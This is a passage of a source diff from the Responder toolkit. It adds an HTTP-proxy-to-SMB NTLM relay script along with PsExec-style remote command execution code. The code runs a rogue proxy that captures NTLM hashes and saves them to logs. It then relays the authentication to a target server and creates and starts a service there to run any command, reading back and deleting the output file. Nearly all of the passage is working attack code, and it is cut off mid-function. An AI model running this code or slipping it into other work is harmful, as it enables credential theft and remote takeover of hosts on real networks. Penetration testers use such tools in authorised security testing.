fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
])
|
||||
|
||||
|
||||
class OpenAndX(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0f"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Flags", "\x07\x00"),
|
||||
("DesiredAccess", "\xc2\x00"),
|
||||
("SearchAttrib", "\x16\x00"),
|
||||
("FileAttrib", "\x20\x00"),
|
||||
("Created", "\x40\x9d\xc1\x57"),
|
||||
("OpenFunc", "\x12\x00"),
|
||||
("allocsize", "\x00\x00\x00\x00"),
|
||||
("Timeout", "\x00\x00\x00\x00"),
|
||||
("Reserved2", "\x00\x00\x00\x00"),
|
||||
("Bcc", "\x0b\x00"),
|
||||
("Terminator", ""),
|
||||
("File", "\\"),
|
||||
("FileNull", "\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
|
||||
|
||||
class ReadRequest(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x05"),
|
||||
("FID", "\x02\x40"),
|
||||
("Count", "\xf0\xff"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("RemainingBytes", "\xf0\xff"),
|
||||
("Bcc", "\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
class ReadRequestAndX(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0C"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXOffset", "\xde\xde"),
|
||||
("FID", "\x02\x40"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("MaxCountLow", "\xf0\xff"),
|
||||
("MinCount", "\xf0\xff"),
|
||||
("Timeout", "\xff\xff\xff\xff"),
|
||||
("RemainingBytes", "\xf0\xff"),
|
||||
("HighOffset", "\x00\x00\x00\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
|
||||
class CloseRequest(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("FID", "\x00\x00"),
|
||||
("LastWrite", "\xff\xff\xff\xff"),
|
||||
("Bcc", "\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
class DeleteFileRequest(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x01"),
|
||||
("SearchAttributes", "\x06\x00"),
|
||||
("Bcc", "\x1b\x00"),
|
||||
("BuffType", "\x04"),
|
||||
("File", ""),
|
||||
("FileNull", "\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["File"] = self.fields["File"].encode('utf-16le')
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
|
||||
|
||||
class SMBEcho(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x01"),
|
||||
("EchoCount", "\x01\x00"),
|
||||
("Bcc", "\x1b\x00"),
|
||||
("File", "LWO CW VLO DEO MAW LMW ARW"),#nt4 style.
|
||||
("FileNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
###########################PSEXEC#############################################
|
||||
|
||||
def ExtractCommandOutput(data):
|
||||
DataLen = struct.unpack("<H", data[61:63])[0]
|
||||
Output = data[63:63+DataLen]
|
||||
return Output
|
||||
|
||||
def SMBReadRecv(s):
|
||||
Completedata=[]
|
||||
data=''
|
||||
Start=time.time()
|
||||
s.setblocking(0)
|
||||
while 1:
|
||||
if Completedata and time.time()-Start > 0.5:#Timeout
|
||||
break
|
||||
try:
|
||||
data = s.recv(1024)
|
||||
if data:
|
||||
Completedata.append(data)
|
||||
Start=time.time()
|
||||
else:
|
||||
break
|
||||
except:
|
||||
pass
|
||||
|
||||
s.setblocking(1)
|
||||
return s, ''.join(Completedata)
|
||||
|
||||
|
||||
def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
|
||||
if data == None:
|
||||
return False
|
||||
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBNTCreateData()
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
## Fail Handling.
|
||||
if data[8:10] == "\xa2\x22":
|
||||
print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
|
||||
return False
|
||||
|
||||
## DCE/RPC Write.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
x = SMBDCEData()
|
||||
x.calculate()
|
||||
f = data[42:44]
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x00\x04", MinCount="\x00\x04",Offset="\x00\x00\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenManagerW.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=Host[0])
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Data=w)
|
||||
x.calculate()
|
||||
t = SMBTransDCERPC(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
##Error handling.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
|
||||
return False
|
||||
|
||||
## DCE/RPC Create Service.
|
||||
if data[8:10] == "\x25\x00":
|
||||
ContextHandler = data[84:104]
|
||||
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||
FilePath = FileChars
|
||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBTransDCERPC(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
#print "[+] Creating service"
|
||||
|
||||
## DCE/RPC SVCCTLOpenService.
|
||||
if data[8:10] == "\x25\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to create the service\n"
|
||||
return False
|
||||
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
|
||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBTransDCERPC(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
## DCE/RPC SVCCTLStartService.
|
||||
if data[8:10] == "\x25\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open the service.\n"
|
||||
return False
|
||||
ContextHandler = data[84:104]
|
||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBTransDCERPC(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
## DCE/RPC SVCCTLDeleteService.
|
||||
if data[8:10] == "\x25\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to start the service.\n"
|
||||
return False
|
||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandler)
|
||||
x = SMBDCEPacketData(Opnum="\x02\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBTransDCERPC(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
## DCE/RPC SVCCTLCloseService
|
||||
if data[8:10] == "\x25\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to delete the service.\n"
|
||||
return False
|
||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandler)
|
||||
x = SMBDCEPacketData(Opnum="\x00\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBTransDCERPC(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
##Close FID Request
|
||||
if data[8:10] == "\x25\x00":
|
||||
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||
t = CloseRequest(FID = f)
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
##Tree connect c$
|
||||
if data[8:10] == "\x04\x00":
|
||||
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to start the service.\n"
|
||||
return False
|
||||
|
||||
#print "[+] Command executed, grabbing output now."
|
||||
Logs.info('Command executed:')
|
||||
Logs.info(clientIP+","+Username+','+Command)
|
||||
#print "[+] Removing service.\n[+] Cleaning up output file.\n"
|
||||
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
##OpenAndX.
|
||||
if data[8:10] == "\x75\x00":
|
||||
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
##OpenAndX.
|
||||
if data[8:10] == "\x2d\x34":
|
||||
time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
|
||||
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
##OpenAndX.
|
||||
if data[8:10] == "\x2d\x34":
|
||||
time.sleep(1)#not found, command failed.
|
||||
print "[+] The command failed."
|
||||
return data
|
||||
|
||||
##ReadRequest.
|
||||
## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
|
||||
if data[8:10] == "\x2d\x00":
|
||||
ReturnedFID = data[41:43]
|
||||
head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
|
||||
t = ReadRequestAndX(FID=ReturnedFID)
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
s, data = SMBReadRecv(s)
|
||||
#print "[+] Output:\n"
|
||||
print ExtractCommandOutput(data)
|
||||
|
||||
##Close Request
|
||||
if data[8:10] == "\x2e\x00":
|
||||
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||
t = CloseRequest(FID = ReturnedFID)
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
##DeleteFileRequest.
|
||||
if data[8:10] == "\x04\x00":
|
||||
head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
|
||||
t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
#print "[+] Deleting file now."
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x06\x00":
|
||||
#print "[+] File deleted, making sure it's not there anymore.."
|
||||
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
return data
|
||||
|
||||
|
||||
|
||||
387
tools/RelayHTTPSMB/HTTPToSMBRelay.py
Executable file
387
tools/RelayHTTPSMB/HTTPToSMBRelay.py
Executable file
@@ -0,0 +1,387 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, re, os, logging, warnings, thread, optparse, time
|
||||
from HTTPRelayPacket import *
|
||||
from Finger import RunFinger
|
||||
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))
|
||||
from socket import *
|
||||
|
||||
__version__ = "0.5"
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
for arg in parser.rargs:
|
||||
if arg[0] != "-":
|
||||
args.append(arg)
|
||||
if getattr(parser.values, op.dest):
|
||||
args.extend(getattr(parser.values, op.dest))
|
||||
setattr(parser.values, op.dest, args)
|
||||
|
||||
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
|
||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||
|
||||
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.TARGET is None:
|
||||
print "\n-t Mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
if options.UserToRelay is None:
|
||||
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
UserToRelay = options.UserToRelay
|
||||
Host = options.TARGET, 445
|
||||
Cmd = ""
|
||||
|
||||
def ShowWelcome():
|
||||
print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.'
|
||||
print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com'
|
||||
print 'Usernames to relay (-u) are case sensitive.'
|
||||
print 'To kill this script hit CRTL-C.\033[1;31m\n'
|
||||
print 'Use this script in combination with Responder.py for best results.'
|
||||
print 'Do not to use Responder.py with -P set. This tool does the same'
|
||||
print 'than -P but with cross-protocol NTLM relay. Always target a box '
|
||||
print 'joined to the target domain,not the PDC as SMB signing is enabled '
|
||||
print 'by default. For optimal pwnage and stealthiness, launch Responder '
|
||||
print 'with these 2 options only: -rv \033[0m'
|
||||
print '\n\033[1;34mRelaying credentials only for these users:\033[32m'
|
||||
print UserToRelay
|
||||
print '\033[0m\n'
|
||||
|
||||
ShowWelcome()
|
||||
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../"
|
||||
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||
|
||||
try:
|
||||
RunFinger(Host[0])
|
||||
except:
|
||||
print "The host %s seems to be down or port 445 down."%(Host[0])
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
if not os.path.isfile(outfile):
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data + '\n')
|
||||
return
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
return False
|
||||
elif re.search(re.escape("$"), user):
|
||||
return False
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data + '\n')
|
||||
|
||||
#Function used to verify if a previous auth attempt was made.
|
||||
def ReadData(Outfile, Client, User, Domain, Target, cmd):
|
||||
try:
|
||||
with open(Logs_Path+"logs/"+Outfile,"r") as filestr:
|
||||
Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure"
|
||||
if re.search(Login.encode('hex'), filestr.read().encode('hex')):
|
||||
print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User)
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
except:
|
||||
raise
|
||||
|
||||
def ParseHTTPHash(data, key, client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
if NthashLen == 24:
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, key.encode("hex"))
|
||||
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
||||
print "[+] Received NTLMv1 hash from: %s"%(client)
|
||||
if User in UserToRelay or "ALL" in UserToRelay:
|
||||
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
|
||||
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
|
||||
return None, None
|
||||
else:
|
||||
return User, HostName
|
||||
else:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||
return None, None
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, key.encode("hex"), NTHash[:32], NTHash[32:])
|
||||
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
||||
print "[+] Received NTLMv2 hash from: %s"%(client)
|
||||
if User in UserToRelay or "ALL" in UserToRelay:
|
||||
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
|
||||
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
|
||||
return None, None
|
||||
else:
|
||||
return User, Domain
|
||||
else:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||
return None, None
|
||||
|
||||
def longueur(payload):
|
||||
return struct.pack(">i", len(''.join(payload)))
|
||||
|
||||
def ExtractChallenge(data):
|
||||
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
||||
if SecBlobLen < 255:
|
||||
Challenge = data[102:110]
|
||||
if SecBlobLen > 255:
|
||||
Challenge = data[106:114]
|
||||
print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex")
|
||||
return Challenge
|
||||
|
||||
def ExtractRawNTLMPacket(data):
|
||||
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
||||
SSP = re.search("NTLMSSP", data[47:]).start()
|
||||
RawNTLM = data[47+SSP:47+SecBlobLen]
|
||||
return RawNTLM
|
||||
|
||||
def GetSessionResponseFlags(data):
|
||||
if data[41:43] == "\x01\x00":
|
||||
print "[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful.."
|
||||
|
||||
def get_command():
|
||||
global Cmd
|
||||
Cmd = ""
|
||||
while len(Cmd) is 0:
|
||||
Cmd = raw_input("C:\\Windows\\system32\\:#")
|
||||
|
||||
def SMBKeepAlive(s, data, NextEcho = 20):
|
||||
while True:
|
||||
head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBEcho()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
time.sleep(NextEcho)
|
||||
|
||||
def HTTPProxyRelay():
|
||||
so = socket(AF_INET,SOCK_STREAM)
|
||||
so.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
||||
try:
|
||||
so.bind(('0.0.0.0', 3128))
|
||||
so.listen(10)
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(Host)
|
||||
s.settimeout(30)
|
||||
except:
|
||||
"Cannot bind to port 3128, something else must be using it."
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
while True:
|
||||
conn, addr = so.accept()
|
||||
data = conn.recv(4096)
|
||||
if not data:
|
||||
break
|
||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == "\x01":
|
||||
## SMB Block. Relay PROXY NTLM NEGO to target srv.
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
|
||||
n = SMBNegoCairo(Data = SMBNegoCairoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
smbdata = s.recv(2048)
|
||||
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
|
||||
if smbdata[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
|
||||
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
smbdata = s.recv(2048)
|
||||
|
||||
## Send HTTP Proxy
|
||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
||||
key = ExtractChallenge(data)#Grab challenge key
|
||||
conn.send(str(Buffer_Ans))
|
||||
data = conn.recv(8092)
|
||||
|
||||
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
|
||||
|
||||
if Packet_NTLM == "\x03":
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
|
||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, addr[0])
|
||||
|
||||
if Username is not None:
|
||||
##Got the ntlm message 3, send it over to SMB.
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
print "[+] SMB Session Auth sent."
|
||||
s.send(buffer1)
|
||||
smbdata = s.recv(2048)
|
||||
return smbdata, s, addr[0], Username, Domain
|
||||
else:
|
||||
return None
|
||||
else:
|
||||
Response = WPAD_Auth_407_Ans()
|
||||
conn.send(str(Response))
|
||||
data = conn.recv(4096)
|
||||
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def RunPsExec(Host):
|
||||
|
||||
GetCredentials = HTTPProxyRelay()
|
||||
|
||||
if GetCredentials == None:
|
||||
return False
|
||||
|
||||
data, s, clientIP, Username, Domain = GetCredentials
|
||||
|
||||
if data[8:10] == "\x73\x6d":
|
||||
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
||||
return False
|
||||
if data[8:10] == "\x73\x8d":
|
||||
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
|
||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
||||
return False
|
||||
|
||||
## First, check if user has admin privs on C$:
|
||||
## Tree Connect
|
||||
if data[8:10] == "\x73\x00":
|
||||
GetSessionResponseFlags(data)#Verify if the target returned a guest session.
|
||||
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
